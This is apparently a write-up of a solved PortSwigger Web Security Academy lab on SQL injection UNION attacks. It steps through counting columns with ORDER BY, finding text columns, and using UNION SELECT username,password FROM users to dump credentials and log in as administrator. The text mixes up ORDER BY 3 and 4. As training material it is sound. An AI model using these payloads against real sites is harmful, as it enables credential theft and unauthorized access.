SQL injection UNION attack,retrieving data from other tables

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection UNION attack,retrieving data from other tables (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

The database contains a different table called users, with columns called username and password.

Determine number of columns

ORDER BY 3 shows an error , it means the web application retreives 2 columns in the query

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 4 --

Determine which column contains text data

1st columns returns text data

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT 'A',NULL --

2nd column also retreives text data

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT NULL,'A' --

Since both the columns contain text data, we can retreive username and password from the users table of the database without any concatination method.

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT username,password FROM users --

Thus we got all the usernames & password stored in the database.

Now we can login as administrator !

Key Takeaways / Lessons

• Understanding SQL_injection detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection UNION attack,retrieving data from other tables